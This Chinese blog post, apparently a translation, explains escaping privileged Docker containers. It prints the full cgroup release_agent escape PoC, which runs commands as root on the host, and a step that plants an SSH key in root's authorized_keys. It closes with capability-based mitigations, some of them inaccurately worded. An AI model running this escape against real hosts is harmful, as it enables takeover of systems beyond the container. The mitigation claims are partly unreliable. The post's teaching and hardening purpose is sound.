docker逃逸容器提权

  • Why you should not run Docker with the “privileged” flag

Privileged Docker容器是使用 –Privileged flag运行的容器。与常规容器不同,这些容器具有对主机的root权限。

当容器需要直接的硬件访问权限来完成它们的任务时,通常使用Privileged容器。然而,有Privileged的Docker容器可以使攻击者接管主机系统。now,看看攻击者是如何逃逸Privileged容器的。

寻找可利用的容器

怎么才能首先知道是否处于一个Privileged的容器中呢?

判断是否是在一个容器里

cgroups代表“控制组”。这是一个使用Linux特性的隔离资源,也是Docker用来隔离容器的特性。可以通过检查init进程的控制组/proc/1/cgroup.来判断是否在一个容器中如果您不在容器中,那么控件组应该为/。另一方面,如果您在容器中,则应该看到/docker/CONTAINER_ID。

判断容器是否有特权

一旦确定处于容器中,就需要确定该容器是否具有privileged。最好的方法是运行一个需要–privileged flag的命令,看看是否成功。

例如,可以尝试通过使用iproute2命令添加一个虚拟接口。这个命令需要NET_ADMIN能力,如果容器有特权,它就会有:

1
$ ip link add dummy0 type dummy

如果此命令成功运行,则可以推断容器具有NET_ADMIN能力。NET_ADMIN是特权功能集的一部分,没有它的容器就没有privileged。您可以通过运行以下命令在测试后清除dummy0链接:

1
$ ip link delete dummy0

容器逃逸

那么如何逃逸privileged容器呢?通过使用这个脚本。下面这个例子和poc是从

  • Understanding Docker container escapes

得到的,关于PoC的更详细的解释请阅读原文:

1
2
3
4
5
6
7
8
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

这个PoC通过利用cgroup的release_agent特性工作。

在cgroup中的最后一个进程退出后,将运行用于删除废弃cgroup的命令。这个命令在release_agent文件中指定,它以root用户的身份在主机上运行。默认情况下,该特性是禁用的,并且release_agent路径为空。

这个漏洞通过release_agent文件运行代码。需要创建一个cgroup,指定它的release_agent文件,并通过杀死cgroup中的所有进程来触发release_agent。PoC中的第一行创建了一个新组:

1
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

下一行启用了release_agent特性:

1
echo 1 > /tmp/cgrp/x/notify_on_release

然后,接下来的几行将命令文件的路径写入release_agent文件:

1
2
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

然后可以开始写入命令文件。这个脚本将执行ps aux命令并将其保存到/output文件中。还需要设置脚本的执行权限位:

1
2
3
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

最后,通过生成一个进程来触发攻击,该进程将立即在创建的cgroup内部结束。release_agent脚本将在进程结束后执行。您现在可以读取ps aux的输出在主机上的/输出文件:

1
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

可以使用PoC在主机系统上执行任意命令。例如,可以使用它将SSH密钥写入root用户的authorized_keys文件:

1
cat id_dsa.pub >> /root/.ssh/authorized_keys

缓解措施

如何防止这种攻击的发生?应该为容器提供它们需要的各个“功能”,而不是授予容器对主机系统的完全访问权。

Docker功能为开发人员提供了对容器权限的细粒度控制。功能将通常打包为“root访问”的权限分解为单独的权限。

默认情况下,Docker会删除容器的所有功能,并要求添加功能。可以使用cap-drop和cap-add flag来删除或添加功能。

1
2
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES

例如,如果需要绑定到低于1024的端口,可以授予容器root访问权限,而不是授予它NET_BIND_SERVICE功能。这个flag将授予容器以下能力:

1
--cap-add NET_BIND_SERVICE

总结

如果可能,避免运行带有–privileged flag的Docker容器。有privileged的容器可能允许攻击者突破容器并获得对主机系统的控制权。用–cap-add flag授予容器单独的能力。

By:lUc1f3r11——QQ or weichat: 1185151867